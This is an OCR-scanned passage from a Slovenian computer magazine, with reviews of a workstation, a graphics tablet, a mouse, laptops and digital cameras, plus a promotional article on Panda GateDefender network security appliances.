(do 1080i) ter progresivno izrisovanje in digi-
talni DVI-D izhod so $e pika na i.

PROTI: Daljinski upravljalnik je precej siv,
tipke so precej stisnjene skupaj in ne dajejo
najboljSega vtisa o preglednosti in dostopnosti.
Enota je med premikanjem pladnja in predva-
janjem $e vedno sli¥na, gumbi na enoti deluje-
jo preve¢ »industrijsko«.

Jaka Mele
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Novi Panda GateDefender serije 8000
za ucinkovito zascito omrezij

Naloge Pandine druzine izdel-
kov GateDefender lahko razdeli-
mo na tri podrogja: protivirusna
za$Cito omrezij, filtriranje splet-
nih vsebin in preprecevanje za-
sipanja z neZelenimi sporocili
elektronske poste (spam).

S povezovanjem programske
in strojne opreme Panda Ga-
teDefender serije 8000 varuje
zunanji 8¢it omrezja podjetja
pred vsemi vrstami virusov,
¢rvov in trojancev ter odkriva
in onemogoca zlonamerne pro-
gramske kode v Sestih najbolj
uporabljenih protokolih: HTTP,
FTP, SMTP, POP3, IMAP4 in NNTP. Skrbniki imajo nadzor nad uporabo podjetniskih
omreZnih sredstev,GateDefender pa jim omogoCa takoj$no preprecitev dostopa do
neprimerne internetne vsebine, ki lahko vpliva na storilnost in celo Skoduje ugledu
podjetja. Omogodeno je filtriranje naslovov URL po kategorijah ali po seznanim &rnih
oziroma odobrenih naslovov, uporabniske skupine pa se lahko dolo€ijo s posebnimi
pravicami dostopa (npr. seznami VIP ali izvzem iz filtrov). Omogoca tudi filtriranje
vsebin po koncnicah datotek, nadzor nad ranljivostmi Outlooka in streznika IIS (ki jih
izkoridCajo zlonamerne kode) ter filtriranje potegavscin, klicalnih programov (dialers)
in programov za vohunjenje (spyware).

Resitve vkljuCujejo mocan in uinkovit protispamni modul za varovanje postnih nabiral-
nikov uporabnikov pred zasipavanjem z nezeleno e-posto. Modul je enostavno namestiti,
v samo nekaj minutah. Odtlej bo Panda GateDefender 8000 pregledoval ves promet
SMTP, POP3 in IMAP4 v omreZju in odkrival nezeleno e-posto na podlagi pravil, ki
jih je dologil skrbnik. Se veg, to bo pogel samodejno po zaslugi stalnih posodobitev.
Protispamni modul ima tudi sposobnost ucenja, saj se lahko nauci identificirati spam
prek sporo€il, ki se posiljajo iz podjetja. Protispamni modul omogo¢a skrbniku ustva-
riti tudi ¢rni seznam za blokiranje nezelenih sporo€il glede na naslove poSiljatelja,
domene ali naslova IP. Prav tako lahko ustvari »beli seznam« z dolo¢anjem sporocil,
ki jih protispamnemu modulu ni treba pregledati.

SAMODEJNO PREPOZNAVANJE SPAMA
S STIRIMI PREGLEDOVALNIKI

SpamBulk: Primerja sporo€ilo z notranjim seznamom znanih neZelenih sporogil, ki so
se prej mnoZicno poSiljala.

SpamReput: Preverja poSiljatelja na notranjem seznamu z znanimi spamerji (poSiljatelji
spama).

SpamContent: Pregleda vsebino sporoila, tako da preveri slog, obliko, jezik in besedilo.
TGN ARG ootnebiiets olrepitey
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PROTIVIRUSNA ZASCITA

DelGke zmanjSa na minimum,
da bi odkril kljuéne besede, tudi
Ce besede niso tocen zadetek.

SpamTricks: Preveri, ali sporoCilo
vsebuje tehnicéne trike, ki jih
obi¢ajno uporabljajo posiljatelji
spama, kot so sporoCila samo
v sliki, zakriti HTML itd. Odkrije
tudi zlonamerna spam sporoci-
la, znana kot tehnika phishing
- to pomeni, da so sporoCila
videti, kot da prihajajo iz znanih
podjetij in posku$ajo uporab-
nike pretentati, da razkrijejo
osebne informacije.

Ti pregledovalniki se stalno
razvijajo po zaslugi sposobnosti samoucenja in posodobitev. Vsako uro in pol se te
naprave povezejo v streznike podjetja Panda Software, da preverijo, ali so bila pravila
odkrivanja spremenjena. Te funkcionalnosti dajejo izdelku Panda GateDefender 8000
iziemno sposobnost boja proti neZeleni e-posti, Skodljivim kodam in zapravljanju ¢asa
na spletnih straneh, ki niso primerne za ogled v delovnem €asu.

MODULI PROTI SPAMU
PODJETJEM PONUJAJO TUDI DRUGE KORISTI:

Povecanje storilnosti zaposlenih, saj podjetje prihrani pomemben del izgublje-
nega ¢asa.

Bolje delovanje omreZja, saj se zmanjSa obremenitev poStnega streznika. To
zmanj$a tudi notranji omrezni promet.

Varovanje ugleda podjetja s tem, da poSiljateliem spama prepredi, da izkoristijo
streznike podjetja za posiljanje spama tretjim osebam.

Hitra povrnitev nalozbe (ROI), saj skrbnikom GateDefender prihrani izgubljeni ¢as
za branje in brisanje teh sporo¢il.

Novi strezniki Pande Software optimirajo rabo omreznih sredstev in dajejo odlicne re-
zultate v boju proti spamu. Zmogljivost pregledov se razlikuje med modeli: Panda Ga-
teDefender 8050 dosezZe do 5 Mb/s in 120.000 sporogil na uro; Panda GateDefender
8100 do 14 Mb/s in 300.000 sporodil na uro; Panda GateDefender 8200 do 600.000
sporodil na uro pri hitrosti 30 Mb/s. Moduli, vklju€eni v novi Panda GateDefender,
omogocajo skrbniku omrezja nadzor dejavnosti zas€ite pred Skodljivci in vsiljivei prek
konzole za nastavitve in nadzor, do katere dostopa prek protokola HTTPS. To pomeni,
je mogoce napravo nadzirati s katerekoli delovne postaje s povezavo v internet.

(promocijski ¢lanek)
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PREIZKUSILI SMO ...

delovna postaja

HP XW4200

Razmerje cena/kakovost: EEEEEEEEEN
Informacije: HP Slovenija. d.o.o., Ljubljana
Spletni naslov: www.hp.com

Cena: priporocena cena z DDV 774.000 SIT
(odvisno od modela)

Procesor: Intel Pentium 4 (Prescott 775)

1 MB L2-predpomnilnika, 3,6 MHz

Osnova: Intel's 925X Express

Pomnilnik: 1 GB DDR2-533MHz ECC

Grafika: nVidia Quadro FX 3400, PCI-E
Prikljuéki: 8x USB-vrata 2.0, omrezna kartica
10/100/1 Gb

Dodatno: DVD+RW opticni pogon

ZA: Nova delovna postaja HP XW4200 bo
zamenjala postajo 4100. Namenjena je pred-
vsem za delo na podro&ju CAD ter za obdelavo
in izdelavo digitalnih vsebin, kjer je potrebna
precej$nja procesorska mo¢. Svoje mesto bo
zagotovo nasla v pisarnah finan&nih ustanov, v
geodetskih birojih za obdelavo zemljevidov ter
povsod, kjer se pojavljajo zahtevne matemati¢ne
operacije, kot so simulacije vremenskih pojavov,
prometnih konic, v farmaciji ... V primerjavi s
prej$njim modelom ima delovna postaja XW4-
200 s sprednje strani priklju¢ke za USB-enote
(klju¢) in slusalke z mikrofonom. Pohvaliti velja
tudi posebej tih ventilator, ki ne moti, tudi e je
postaja na mizi. Med testiranjem smo poganja-
li tudi MATLAB 7, ki je razkril zelo zmogljiv
procesor in postajo uvrstil tik pod vrh lestvice.
Postajo smo preizkusili tudi z razli¢nimi igrami
(Half Life 2), kjer je potrebno veliko grafi¢nega
preradunavanja, in obnesla se je ve¢ kot dobro.

PROTI: Glede na namembnost postaje za
CAD/CAM, smo bili med testiranjem prese-
neceni nad slabostmi pri izrisovanju 3D-ob-
jektov. Pri nekoliko zmogljivejsi grafi¢ni karti-
ci bi se postaja brez teZav uvrstila vise.

Milan Siméic
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grafiCna tablica

Wacom Intous 3

L]

Skupna ocena:

Razmerje cena/kakovost: |

Informacije: Gregor, d.o.o.

Spletni naslov: www.wacom.com
Cena: 124.800 SIT

Velikost: 440 x 340 x 14 mm
Aktivna povrSina: 305 x 231 mm
Obgutljivost na pritisk: 1024 stopenj
Natanénost: +/- 0.25mm

ZA: on poplavi digitalnih fotoaparatov in s
tem vecje obdelave slik je grafi¢na tablica eno
izmed orodij, o katerem se splaca razmisljati.
Podjetje Wacom tu trdno dr¥i vajeti v rokah,
saj s svojo patentirano tehnologijo, ki jim
omogoda prenos in nadzor nad peresom brez
dodatne baterije ali kabla, ohranja prednost
pred preostalimi proizvajalci. To je tudi raz-
log, zakaj Wacomove tablice omogocajo veéjo
natanénost, kar je pri grafi¢nem delu ena od
najbolj zazelenih lastnosti. Ce povemo to e
drugace, delo s tablico je v primerjavi z misko
tudi do petkrat hitrejse.

Zadnja serija Intous 3 prinasa nekaj zanimi-
vih novosti. Oblika je Ye malce vesoljska, pred-
vsem k temu prispevajo novi gumbi in drsnika,
ki ponujata vse mo#nosti, ki jih od sodobne
krmilne enote pri¢akujemo. Tablica ima kar
1024 stopenj ob&utljivosti na pritisk in pre-
kasa vec¢ino drugih. Novo pero ima tudi nove
konice, med njimi tak$no, ki se ob pritisku
ugrezne ter s tem posnema tehniko »priila« iz
risarstva; prepozna pa celo nagib peresa. Vse to
se da s pridom izkoristiti predvsem v Photosho-
pu ter v ved kot 20 orodjih, poleg tega dobite v
paketu Se dodatna orodja za enostavnejse delo.
Programska oprema omogo&a nastavitev vrste
moz#nosti. Tudi gumbom in drsnikoma lahko
dologimo druge nastavitve, recimo bli¥njice do
funkcij, ki jih ve¢krat uporabljamo.

PROTI: ob vseh lepih re¢eh se moramo
ustaviti $e ob eni neprijetni, ceni namre¢. Na
preizkusu smo imeli model 9x12, ki ima ak-
tivno povr§ino velikosti priblizno A4-strani.
Cena ni ravno primerna za domaci Zep, a za
resno dnevno v delo v kaki¥ni oblikovalski
agenciji ta ne bi smela biti problemati¢na.
Wacom ponuja $e¢ manjse modele, vse tja do
delovne povrsine 5 x 4 palce, kar je $e na meji
uporabnosti in cenovno $e dovolj blizu doma-
&emu uporabniku.

Alan Orlic BelSak

miska

Logitech MediaPlay

Cordless

EEEEEEEEEN
EEEEEEEEEN

Spletni naslov: www.logitech.com

Cena: 13.256 SIT

Vmesnik: USB in PS2

Opticni senzor: Da

Laserski senzor: Ne

Brezzicna povezava: Da

Stevilo tipk/programirfjivih: 11

Loéljivost senzorja: 800 dpi

Potrebna posebna podlaga: Ne

Skupna ocena:
Razmerje cena/kakovost:

ZA: Logitechova tradicija odli¢nih migk se
nadaljuje z modelom MediaPlay, ¢eprav gre za
nekoliko posebno misko. Logitech ja namre&
na to brezzZi¢no misko simetri¢ne oblike, ki se
torej prilega v roko tako desnicarjem kot le-
vi¢arjem, vdelal $e nekaj dodatnih gumbov,
ki razsirjajo delovanje $e na daljinsko uprav-
ljanje rac¢unalnika. Predvsem ralunalnika, ki
ga uporabljamo kot medijski center, torej za
predvajanje glasbe ter gledanje videa in foto-
grafij. V ta namen Logitech prilaga tudi preiz-
kusno razli¢ico programa Logitech MediaLife,
ki omogo&a dostop do fotografij, glasbenih
datotek in filmov na nasem diskoviju, oziro-
ma do storitve MusicMatch radio (zaZivi 3ele
ob placilu naro¢nine), ki omogoca poslusanje
tematskih radijskih postaj oziroma posamez-
nih izvajalcev in njim podobne glasbe. Sicer
je MediaPlay Cordless obi¢ajna brez#i¢na mi-
gka, posebnost je krmilno kolesce, ki ga je mo¢
uporabljati tudi za premikanje levo in desno.
Medijske tipke imajo lastno osvetlitev, po ne-
kaj sekundah neuporabe pa samodejno ugas-
nejo in tako niso motede. Migka je tudi ergo-
nomsko in oblikovno lepo zasnovana in odeta
v kakovostno modro, srebrno in &rno plastiko.
BrezZi¢na povezava deluje tako kot obljubljeno
— izredno hitro in brez zakasnitev.

PROTI: z. napajanje skrbita dve (prilo-
Yeni Duracellovi) AA-bateriji, ki sicer dr¥i-
ta dlje Casa (ob vsakodnevni uporabi vsaj 14
dni), vendar vseeno pogresamo mehanizem
polnjenja, kot smo ga videli pri recimo seri-
jah MX-xx00. Te¥a miske je Se vedno v mejah
povpredja, vendar je dvakrat te¥ja kot model
MX700.

Jaka Mele
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novi prenosniki

VSE VEG VECPREDSTAVNOSTI

Prenosniki zgornjega srednjega
razreda se Ze spreminjajo v domaca
multimedijska sredisca.

Pise: Gregor Bas

gregor.nas@mojmikro.si

Toshiba Qosmio

Pri Toshibi so predstavili prenosnik Qosmio,
ki naj bi bil pravo domace multimedijsko sre-
dis¢e. V eni od razli¢ic modela dobimo tudi Ze
vdelan TV-sprejemnik. Vendar je s tem $e pre-

cej te¥av, saj deluje le v drzavi, za katero je
bil prenosnik narejen. Tako vam
denimo prenosnik, izdelan za
nemski trg, v Sloveniji
ne bo kaj prida koristil,
ko boste hoteli gledat
TV-program. Preizkusili
smo model brez vdelanega
TV-sprejemnika.

Na splosno gledano je
Qosmio povsem spodoben
prenosni racunalnik, ki se po
hitrosti uvri¢a nekako v zgornji
del zlate sredine. Nekoliko razo-
Carani smo bili nad kratko avto-
nomijo, navduseni pa nad moZnost-
jo priklju¢evanja najrazli¢nejsih
naprav, ki prenosnik dejansko lahko
spremenijo v domade multimedijsko

sredisCe. Poleg klasi¢nih izhodov za

TV (S-video) imamo tudi vhod S-
video in digitalni izhod D-video. Po-
leg vsega tega ima tudi monitor-
ski vhod, prek katerega lahko
pripeljemo na zaslon pre-
nosnika sliko iz video-
kamere, igralne konzole
in podobnih naprav. Pri
modelu s TV-sprejemnikom pa
lahko monitorski vhod uporabimo tudi
za prikljuditev avdio naprav.

Acer Aspire 1413LC

Aspire 1413LC je Acerjev model spodnjega
cenovnega razreda s procesorjem Intel Celeron
M. Ce ga primerjamo z modelom 1362, ki je
zgrajen okoli AMD-jevega procesorja Sam-

Proizvajalec
in ime modela:

Toshiba
qosmio F10-101

Acer
Aspire 1413LC

Toshiba
Satellite M30X-118

Gerinote
X6 Radeon

[Skupnaocena: ~~ |HEEEEEEEEE EESEEEEEEE EESSSESEES EEEEEEEEEE |
[Razmerje cena/kakovost: [HEEEEEEEEE EEEEEEEEEE EEESEEEEEEE EEEEEEEEEE |

Informacije: Inea. Ljubljana TrendNET, Velenje
Spletni naslov: www.toshiba.com WWW.aCer-euro.com
Cena: 564.480 SIT 233.766 SIT
Tehniéni podatki
Procesor: Intel Pentium M 735 Intel Celeron M 340
Pomnilnik: 512 MB DDR 256 MB DDR
Trdi disk: 60 GB 40 GB
Vigrajene pomnilniSke enote: DVD-RW DVD/CD-RW
Zaslon: 15,4 WXGA 15 XGA
Graficna kartica: Nvidia GeForce Intel 855GME

FX Go5700

Vmesniki:

Delovanje baterije:
Mere in masa:
Programska oprema:

PC-kartica (PCMCIA), av-

vhod/izhod, monitorski iz-
hod, D-video izhod, bralnik
kartic, WLAN 802.11 b/g,
modem, LAN

2:03

373x284 x43 mm; 3,8kg

Windows XP Home Edi- Windows XP Home Edi-

tion

PC-kartica

modem, LAN, IrDA

2:48

tion
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(PCMCIA
dio, S/PDIF, 4 x USB 2.0, avdio, 3 x USB 2.0, Fire-
FireWire, VGA, Swideo Wire, VGA, Swideo izhod,

Inea, Ljubljana
www.toshiba.com
469.200 SIT

Intel Pentium M 735

512 MB DDR

60 GB

DVD-RAM

15,4 WXGA

ATI Mobility

Radeon 9700

PC-kartica (PCMCIA), av-
dio, 3x USB 2.0, FireWire,
VGA, TV-izhod, LPT, bral-
nik kartic, WLAN 802.11
b/g, modem, LAN

3:36
365x275x 30 mm; 3,1 kg
Windows XP Home Edi-
tion

Geri Computer, d.n.o.
www.gericomp-slo.com
409.900 SIT

Intel Pentium M 1,6 GHz 2MB
512 MB DDR

60 GB

DVD+/-RW

151”1400 x 1050

ATI Radeon 9700

Mobile 128 MB DDR
PC-kartica (PCMCIA), av-
dio, 3 x USB 2.0, FireWire
VGA, LPT, PS/2, TV-izhod,
modem, LAN, IrDA, WLAN
801.11b/g

4:10
333x275x 36 mm; 3,1 kg
Windows XP Home Edi-
tion

pron (predstavili smo ga v prejsnji $tevilki),
ugotovimo, da na testih hitrosti za njim zaosta-
ja. Kljub vsemu so ti zaostanki zelo majhni in
pri normalnem delu prakti¢no tega ni opaziti.
Veliko bolje pa se Aspire 1413LC odreZe, ka-
dar zmanjka elektrike, saj baterija zado$¢a za
skoraj tri ure delovanja. In ker je tudi cena
zelo ugodna, bi bila to lahko kar modra od-
lotitev za ne prevel zahtevnega uporabnika.
Kar smo pogresali pri modelu Aspire 1413LC,
je prav gotovo moznost brezZi¢ne povezave v
razli¢na omre%ja.

Gerinote X6 Radeon
V resnici gre za prenosnik Gericome X6, ki
pa je bil do konca sestavljen pri nas. Gre za

=]
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zanimiv prenosnik z mag-
nezijevim ohi§jem. Ohigje
je na pogled in otip prijet-
no. Vdelan je 15,1-paléni
LCD-zaslon lo¢ljivosti
1400 x 1050 pik, v drobov-
ju pa ticita 1,6 GHz pro-
cesor Intel Pentium M in
grafi¢na kartica ATI Rade-
on 9700 Mobile s 128 MB
pomnilnika. Sistemskega
pomnilnika je 512 MB, tr-
dega diska je za 60 GB, kar
je ravno dovolj, tudi &e bo
prenosnik zamenjava za
namizni ratunalnik. Vde-
lan je tudi hiter in univer-
zalen DVD-zapisoval-
nik. Gre za pravcato
prenosno posast, ki

bo zlahka pognala

tudi zahtevnejse igre.

S programi pa tako ali tako ni teZav. Prenosnik
deluje izredno hitro, zaslon pa ponuja dovolj
prostora za udobno delo. Se najsibke;jsi ¢len
je tipkovnica, ki pa tudi ni slaba. Le vse drugo
je toliko boljse. Zanimiva poteza proizvajalca
je namestitev avdio priklju¢kov na prednji
strani prenosnika, druzbo pa jim dela poten-
ciometer za nastavljanje jakosti zvoka. Sicer
pa so drugi prikljucki nekoliko zgreseni in niso
ravno na mestih, kjer bi jih pri¢akovali. Ni pa
to posebna tefava, saj se da vsemu z lahkoto
privaditi.

Prenosnik je med delovanjem tih in ostaja
izredno dolgo tudi skoraj popolnoma hladen.
S tem prav gotovo ne bo te¥av tudi pri dol-
gotrajnih ve&jih obremenitvah. Vse dobro-
te pa prinesejo tudi
negativne posledice.

Toshiba Satellite M30X-118

Se en model, ki potrjuje Toshibino odli¢nost.
Satellite M30X je namenjen multimedijsko
usmerjenim uporabnikom, ki bodo znali ceniti
kakovosten $irok zaslon in za prenosni ratu-
nalnik precej kakovosten zvok. Tudi hitrostni
testi so pokazali, da procesor opravi svoje delo
tako, kot je treba. Delovanje prenosnika brez
napajanja traja nekaj ve¢ kot tri ure in pol,
kar je povsem spodobno, vendar ni¢ zares pre-
tresljivega.

0Oznake Intelovih procesorjev za prenosne racunalnike

Kljub zmogljivi ba- | Ime procesorja Arhitektura Predpomnilnik | Frekvenca
teriji je avtonomija Intel Pentium M 755 90 nm 2MB L2 2.0 GHz
prenosnika dobre Intel Pentium M 745 90 nm 2MBL2 1.80 GHz
Stiri ure. Ni slabo, |IntelPentiumM 735 90 nm 2MBL2 1.70 GHz
tudi v primerjavi z Intel Pentium M 725 90 nm 2 MBL2 1,60 GHz
drugimi  podobnimi Intel Pentium M 715 90 nm 2 MB L2 1,50 GHz
modeli ne. Bi pa bilo | IntélPentiumM 705 130 nm 1MBL2 1.50 GHz
prav in lepo &e bi bila Intel Pentium M Low Voltage 738 90 nm 2MBL2 1.40 GHz
avtonomija blizje, re- Intel Pentium M Low Voltage 718 130 nm 1 MBL2 1.30 GHz
cimo, dobrim petim Intel Pentium M Ultra Low Voltage 733 | 90 nm 2MBL2 110 GHz
uram. Intel Pentium M Ultra Low Voltage 7238 | 90 nm 2MBL2 1.0 GHz
V splosnem gre za Intel Pentium M Ultra Low Voltage 713 | 130 nm 1MBL2 1.10 GHz
dober in zanesljiv pre- | Intel Celeron M 360 90 nm 1MBL2 1.40 GHz
nosnik, ki zaleze tako [ Intel Celeron M 350 90 nm IMBL2  [130GHz
doma kot na poti, pa Intel Celeron M 340 130 nm 512 KB L2 1.50 GHz
Se v izredno vzdrilji- Intel Celeron M 330 130 nm> 512 KB L2 1.40 GHz
vem ohifju je. In & Intel Celeron M 320 130 nm 512 KB L2 1.30 GHz
upostevamo vse po- Intel Celeron M 310 130 nm 512 KB L2 1.30 GHz
nujeno, je cena dokaj Intel Celeron M Ultra Low Voltage 353 | 90 nm 512 KB L2 900 MHz
nizka za tak model. Intel Celeron M Ultra Low Voltage 333 | 130 nm 512 KB L2 900 MHz

Vet novic tako ali drugace povezanih s slovensko im‘ormacijsko |

srenjo lahko najdete na nasi spletni strani!
-anlkRD '-._':' 2 RE 4

novi digitalni fotoaparati

VELIKI
KALIBRI

Ne zgodi se ravno vsak dan, da dobimo
v kratkem Casu v preizkus kar tri
zrcalnorefleksne fotoaparate. Se veg, dva
izmed njih se potegujeta za tiste kupce,
ki so pred casom merili prav na vrh
kompaktnih fotoaparatov.

PiSe: Alan Orli¢ BelSak
alan.orlic@mojmikro.si

ahko bi rekli tudi drugade, namreg, foto-

grafija se vrada v ustaljene tirnice. Velika

vetina profesionalnih uporabnikov Ze

uporablja digitalne fotoaparate, na sejmu
Photokina pa je kazala veliko zanimanje pred-
vsem zrelejSa generacije. Da, prav ste sligali,
gospe in predvsem gospodije so se pustili pod-
ulevati v digitalni tehniki.

Olympus E-300

Ljubezen na drugi pogled. Oblika je sicer
misljena tako, da pritegne predvsem uporab-
nike kompaktnih in hibridnih fotoaparatov, a
&e vas ne bo preve¢ zmotila, imate pred seboj
zmogljiv fotoaparat. V primerjavi z drugimi
modeli ima ta zrcalce, ki ne odbija svetlobe
navzgor, temvec desno, proti drugim zrcalom.
E-300 namre& nima prizme, zato tudi ne potre-
buje izbokline nad osrednjim delom fotoapara-
ta, kjer je ta velikokrat postavljena. Kljub lepo
odebeljenemu desnemu delu je ta le premalo
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novi digitalni fotoaparati

izrazit in ve&ja roka te¥e najde trden poloZaj.
Na vrhu ohigja je posebna modra lucka, ki za-
sveti ob vsakem vklopu fotoaparata, a ni na-
menjena temu, temve¢ opozorilu, da sistem
odstranjevanja prahu deluje. Prah je namred
pri zrcalnorefleksnih digitalnih fotoaparatih
dokaj pere¢ problem, saj utegne njegovo od-
stranjevanje marsikomu povzrociti sive lase.
Gumbi so lepo razporejeni in hitro pridemo do
pomembnih nastavitev. Malce so zapletli le na-
stavitev Casa in zaslonke v ro¢nem nacinu, saj
ne moremo hitro oziroma isto¢asno nastavljati
obojega. E-300 ima tri tocke za ostrenje, lah-
ko deluje le ena od njih, lahko pa vse tri.
Druga&e kot pri modelu E-1 lepa rde¢a
tocka pokaZe, na kateri tocki je fotoapa-
ratu uspelo izostriti. Vdelana bliskavica
se dvigne dokaj visoko, $e lepse je to,
da zna delati hkrati z izmenljivo. Sled-
nje pomeni to, da vam vdelana skrbi
za osvetlitev objekta, izmenljiva pa za
prostor.

E-300 pozna kar nekaj nacinov foto-
grafiranja, dodali so mu tudi scenske nasta-
vitve, tako se vam recimo ni treba ubadati s
pojmi, kot so pod/nadosvetlitev ali izravnava
svetlobe, temved le poiStete pravo slicico.
Slednje velja predvsem za zacetnike, med naci-
ni pa najdete vse mogoce, od fotografiranja na
plaZi ali na snegu do zanimivejsih, kontrastnih
portretov ali fotografiranja hrane.

Fotoaparat je priSel na preizkus v kompletu
z objektivoma 14-45mm f3,5-5,6, 40-150
3,5-4,5 ter bliskavico FL36. Slednja ima zelo
podobne mo?nosti kot FL50, tudi glava je gib-
ljiva v vse smeri, le §ibkejsa je od slednje. Poleg
tega potrebuje za delovanje le par AA- baterij,
a se zaradi tega tudi pocasneje polni. Par ob-
jektivov se odli¢no dopolnjuje s tem fotoapa-
ratom, saj pokrije prakti¢no celotno obmotje,
ki ga vecina uporabnikov potrebuje, od 28 do
300mm v primerjavi s 35 mm klasiko.

Kot ste opazili, o kakovosti slike nismo ve-
liko zapisali, predvsem zaradi tega, ker smo
v preizkus dobili predserijski fotoaparat in se

Proizvajalec in ime modela  Olympus E-300 Pentax *istDs

utegne do redne proizvodnje $e izboljgati. Kljub
temu lahko zapiSemo, da ¥e zdaj kaZe dobre re-
zultate. Marsikaterega kupca bo pritegnilo, da
je vse, z bliskavico vred, dokaj majhno in gre
brez te¥av v dokaj majhno fotografsko torbico.
Makro navdugencem bi priporodili §e vmesni
obrocek in tako imate prakti¢no vse, kar po-
trebujete za pot.

Pentax
*istDs

Veasih so nam v 3oli
rekli: »Sedi, odli¢no!« Nekaj
podobnega lahko re¢emo tudi za
Pentaxovega novinca, ki ima po naSem prepri-
&anju vse adute, da sledi liniji, ki jo je Ze pred
&asom za&rtal Canon 300D. Fotoaparatu ni kaj
otitati. OhiSje je majhno in ga v roki zelo do-
bro dr¥imo; tako je eden od glavnih minusov
predhodnika *istD odpravljen. Gumbov je zelo
malo, saj velino nastavitev opravimo kar prek
zaslona. Vse je narejeno tako, da lahko uporab-
nik ¢imprej za¢ne fotografirati in se ne ukvarja
preved s tehniko. Naginov za fotografiranje je
kar nekaj, od programskih do polsamodejnih
in ro¢nega. Vdelana bliskavica se sicer ne dvig-
ne tako visoko, kot pri Ze omenjenem Canonu
300D, a se vedno dovolj, da je uporabna. Tipalo
ima razpon do ISO 3200, pri slednjem bodite
pripravljeni na dokaj mo¢an $um, medtem ko
je %e pri ISO 1600 ¢&isto sprejemljiv. Samodejno
ostrenje dobro deluje in na izbiro je 11 tock,
od tega dve skrajni, na levi in desni strani. Pri
sredinskih fotoaparat nima te¥av z ostrenjem,
medtem ko mu obe skrajni povzrocate nekaj

Pentax Optio X Rollei dk4010

Rollei dr5100

teZav in ne najdeta vedno prave ostrine. Se ena
slaba stran novinca, ki jo bodo preklinjali pred-
vsem starej§i uporabniki z zbirko kartic Com-
pactFlash: uporablja namre¢ le in samo kartice
tipa SD/MMC. Glede na trenutne cene pom-
nilniskih medijev to niti ni tak$na slabost, poleg
tega so veliko uporabnejse, saj jih uporabljajo
tudi dlan¢niki in MP3-predvajalniki. Pentaxu
je uspelo narediti majhen in zmogljiv fotoapa-
rat, ki bo prepri¢al marsikaterega uporabnika
za prehod v svet digitalne tehnike oziroma za
korak visje, s kompaktne¥ev v zrcalnorefleks-
ni razred. Poleg tega je fotoaparat zdruZljiv s
starej§imi Pentaxovimi objektivi, tudi tistimi
z ro¢nim ostrenjem, s posebnim bajonetom pa
lahko uporabljamo tudi objektive z navojem
M42. Ce pogledamo cene, so se te slednjim %e
&isto priblizale in v dolo¢enih delih ujele dra%je
8-milijonske fotoaparate, kar je seveda najza-
nimivej$e predvsem za nas, uporabnike.

Pentax Ontio X

=
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To je modni fotoaparat, ki pa meri tudi na
poslovne uporabnike. Ima kar nekaj zanimivih
refitev. Za zaCetek je tu vrtljivi LCD-zaslon
oziroma objektiv, kakor vam ljubse. Poslovne
uporabnike bo privabil predvsem vdelani dik-
tafon, ki ga nima prav veliko fotoaparatov. Za-
nimivo je postavljen tudi navoj za stativ, tako
da fotoaparat privijemo pokon&no, namesto
vodoravno. Kvadratno ohigje je sicer malo
nerodno za drfanje, a vrtljivi del olajsa roko-
vanje. éeprav je namenjen predvsem preprosti
rabi, ima kar nekaj mo¥nosti za kreativno delo.

Praktica Luxmedia 4008 Konica Minolta Dynax 7D

[Skupnaocena:  [WEEEEEEENEE EEEEEEEEES (EESEEEEEEE (EEEEEEEESE (NEEESEEESE (EEESEEEEEE

EEEEEEEEEE |
Razmerje cena/kakovost| ENEEEEEEEE NEEEEEEEES EEEEESEENES (NEEESEEESE (EEESENESSE EESEEESEEE EEEEEEEEEE |

Informaciie Olympus Slovenija, d.0.0. Foto Besenicar s.p. Foto Besenicar, s.p. Cumulus, d.o.0. Cumulus, d.0.0. Cumulus, d.0.0. Euro foto, d.0.0.

Spletni naslov WWW.0lympus.com www.pentax.com www.pentax.com www.rollei.de www.rollei.de www.praktica.de www.konicaminolta.com

Cena - 199.990 SIT 108.900 SIT 124,990 SIT 85.990 SIT 86.990 SIT 385.990 SIT

)i} odlicen sistem za enostavenin majhen  funkcije velikost, ISO-obcutljivost moznosti, velikost moznosti umirjevalnik slike, velik
zacetnike LCD-zaslon

Proti dostopnost funkcij le pomnilniska kartica  nekoliko prevelik dostopnost do funkcij  veliko Sumaprivi§jih ~ nenatancno ostrenje  posebnost funkcij

SD

obcutljivostin

Tehnicni podatki

Najvisja logljivost 3264 x 2448 3008 x 2008 2560 x 1920 2274 x 1704 2592 x 1944 3264 x 2448 3008 x 2000

Tip in loGljivost fipala CCD,8M CCD,6M CCD,5M CCD,4M CCD,5M CCD, 4 M CCD,6 M

Objektiv (mm) 4/3 sistem, faktor 2x KA bajonet, faktor 1,5x 36 107 mm 37370 mm 2885 mm 40320 mm A bajonet, faktor 1,5x
Razpon ¢asa 6051/4000s+B 305 1/4000s + B 451/2000s 251/2000's 305 1/2000s 1651/2000s 3051/4000s+B
180-obGutljivost 100 1600 200 3200 avtomatska 100 800 641600 50400 100 3200

Zaslonka - - F2,64,38 F2,8 31 F254,3 F2,8 34 -

PomnilniSka kartica CompactFlash |, Il SD/MMC SD/MMC SD/MMC SD/MMC SD/MMC CompactFlash |, Il
Umesnik USB USB USB USB USB USB USB

Teia 624 g 6059 145¢ 340¢ 2059 395¢ 800¢

Baterije Liion 4 X AA Liion 4xAA 2 X AA 4xAA Liion
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Objektiv je %e star znanec, saj je enak tudi pri
Optiu S4i in se mu pri sestavljanju v fotoapa-
rat premakne ena le¢a v drug poloZaj, s &imer
prihrani prostor. Ima pa zato novo baterijo s
prav posebnim nadinom vstavljanja. Optio X
je dokaj zanimiv fotoaparat, a vpraSanje je, ali
je dovolj »modenc, kljub zanimivemu vrtljive-
mu delu ohi¥ja. Ce bi bil manjsi, bi vsekakor
pozel Se ve& ob¢udovanja.

Rollei dk4010

Fotoaparatom z 10x spremenljivo goris¢ni-
co se je pridruZil tudi Rollei z modelom dk4-
010. Majhen, a zmogljiv model ponuja veliko,
predvsem &isto uporabne fotografske mo¥nosti.
Do nekaterih boste morali brskati po menijih,
predvsem tistih naprednejsih. Za ta razred je
zanimiva visoka ISO-ob&utljivost do ISO 800,
ki je Se kar uporabna, ¢e v slabgih svetlobnih
razmerah ne elite uporabiti bliskavice. Ponuja
$e eno zanimivost, zaporedno fotografiranje s
3,3 posnetka na sekundo, dokler ne zapolni-
te kartice. A tu velja opomba: samo &e imate
hitro pomnilnigko kartico. Zmore tudi zajem
videa z lo¢ljivostjo 640 x 480 pik, kar je %e
pocasi postalo standard. Proizvajalci se kot
hudit kriZa izogibajo lo€ljivosti 720 x 576 pik,
saj bi s tem prakti¢no stopili v svet digitalnih
kamer, Cesar pa zaenkrat $e nocejo. Majhno
ohisje presenetljivo dobro leZi v roki, seveda
na racun odebeljenega desnega dela. Ima tudi
zelo dobro elektronsko iskalo, ki premore
